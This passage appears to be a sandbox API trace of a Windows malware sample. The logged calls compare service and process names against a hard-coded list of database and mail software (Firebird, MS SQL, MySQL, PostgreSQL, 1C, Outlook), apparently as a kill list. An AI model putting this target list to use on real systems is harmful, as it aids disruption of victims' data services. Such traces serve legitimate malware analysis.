returned 1 [0074.998] lstrlenW (lpString="Dhcp") returned 4 [0074.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0074.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0074.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0074.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0074.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0074.998] lstrlenW (lpString="Dnscache") returned 8 [0074.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0074.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0074.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0074.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0074.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0074.998] lstrlenW (lpString="DPS") returned 3 [0074.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0074.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0074.999] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0074.999] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0074.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0074.999] lstrlenW (lpString="eventlog") returned 8 [0074.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0074.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0074.999] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0074.999] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0074.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0074.999] lstrlenW (lpString="EventSystem") returned 11 [0074.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0074.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0074.999] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0074.999] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0074.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0074.999] lstrlenW (lpString="gpsvc") returned 5 [0074.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0074.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0074.999] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0074.999] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0075.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0075.000] lstrlenW (lpString="iphlpsvc") returned 8 [0075.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.000] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0075.000] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0075.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0075.000] lstrlenW (lpString="LanmanServer") returned 12 [0075.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0075.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0075.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0075.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0075.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0075.000] lstrlenW (lpString="LanmanWorkstation") returned 17 [0075.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.000] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0075.000] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0075.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0075.000] lstrlenW (lpString="lmhosts") returned 7 [0075.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0075.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0075.001] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0075.001] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0075.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0075.001] lstrlenW (lpString="MMCSS") returned 5 [0075.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0075.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0075.001] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0075.001] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0075.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0075.001] lstrlenW (lpString="MpsSvc") returned 6 [0075.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0075.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0075.001] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0075.001] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0075.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0075.001] lstrlenW (lpString="Netman") returned 6 [0075.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0075.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0075.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0075.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0075.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0075.002] lstrlenW (lpString="netprofm") returned 8 [0075.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0075.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0075.002] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0075.002] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0075.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0075.002] lstrlenW (lpString="NlaSvc") returned 6 [0075.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0075.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0075.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0075.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0075.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0075.003] lstrlenW (lpString="nsi") returned 3 [0075.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0075.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0075.003] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0075.003] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0075.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0075.003] lstrlenW (lpString="PcaSvc") returned 6 [0075.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0075.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0075.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0075.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0075.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0075.003] lstrlenW (lpString="PlugPlay") returned 8 [0075.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0075.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0075.004] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0075.004] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0075.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0075.004] lstrlenW (lpString="Power") returned 5 [0075.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0075.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0075.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0075.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0075.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0075.004] lstrlenW (lpString="ProfSvc") returned 7 [0075.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0075.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0075.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0075.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0075.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0075.004] lstrlenW (lpString="RpcEptMapper") returned 12 [0075.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0075.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0075.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0075.005] lstrlenW (lpString="RpcSs") returned 5 [0075.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0075.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0075.005] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0075.005] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0075.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0075.005] lstrlenW (lpString="SamSs") returned 5 [0075.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0075.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0075.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0075.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0075.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0075.005] lstrlenW (lpString="Schedule") returned 8 [0075.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0075.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0075.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0075.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0075.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0075.005] lstrlenW (lpString="SENS") returned 4 [0075.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0075.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0075.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0075.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0075.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0075.006] lstrlenW (lpString="ShellHWDetection") returned 16 [0075.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0075.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0075.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0075.006] lstrlenW (lpString="Spooler") returned 7 [0075.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0075.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0075.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0075.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0075.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0075.006] lstrlenW (lpString="SysMain") returned 7 [0075.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0075.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0075.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0075.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0075.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0075.006] lstrlenW (lpString="Themes") returned 6 [0075.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0075.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0075.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0075.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0075.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0075.007] lstrlenW (lpString="TrkWks") returned 6 [0075.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0075.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0075.007] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0075.007] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0075.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0075.007] lstrlenW (lpString="UxSms") returned 5 [0075.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0075.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0075.007] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0075.007] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0075.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0075.007] lstrlenW (lpString="WdiServiceHost") returned 14 [0075.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0075.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0075.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0075.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0075.007] lstrlenW (lpString="WdiSystemHost") returned 13 [0075.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0075.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0075.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0075.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0075.008] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0075.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0075.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0075.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0075.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0075.008] lstrlenW (lpString="Winmgmt") returned 7 [0075.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0075.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0075.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0075.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0075.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0075.008] lstrlenW (lpString="WPDBusEnum") returned 10 [0075.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0075.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0075.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0075.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0075.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39799d8 | out: hHeap=0x5b0000) returned 1 [0075.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0075.014] Process32FirstW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.015] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.015] lstrlenW (lpString="System") returned 6 [0075.015] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0075.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0075.015] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0075.015] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0075.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0075.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0075.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0075.016] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.016] lstrlenW (lpString="smss.exe") returned 8 [0075.016] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0075.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0075.016] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0075.017] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0075.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0075.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0075.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0075.017] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.017] lstrlenW (lpString="csrss.exe") returned 9 [0075.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0075.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0075.018] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0075.018] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0075.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0075.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0075.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0075.018] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.018] lstrlenW (lpString="wininit.exe") returned 11 [0075.019] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0075.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0075.019] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.020] lstrlenW (lpString="csrss.exe") returned 9 [0075.020] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0075.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0075.020] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0075.020] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0075.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0075.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0075.020] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.021] lstrlenW (lpString="winlogon.exe") returned 12 [0075.021] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.022] lstrlenW (lpString="services.exe") returned 12 [0075.022] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.023] lstrlenW (lpString="lsass.exe") returned 9 [0075.023] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0075.023] lstrlenW (lpString="lsm.exe") returned 7 [0075.023] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.024] lstrlenW (lpString="svchost.exe") returned 11 [0075.024] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.025] lstrlenW (lpString="svchost.exe") returned 11 [0075.025] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.026] lstrlenW (lpString="svchost.exe") returned 11 [0075.026] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.027] lstrlenW (lpString="svchost.exe") returned 11 [0075.027] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.107] lstrlenW (lpString="svchost.exe") returned 11 [0075.107] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.108] lstrlenW (lpString="audiodg.exe") returned 11 [0075.108] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.109] lstrlenW (lpString="svchost.exe") returned 11 [0075.109] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.110] lstrlenW (lpString="svchost.exe") returned 11 [0075.110] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, 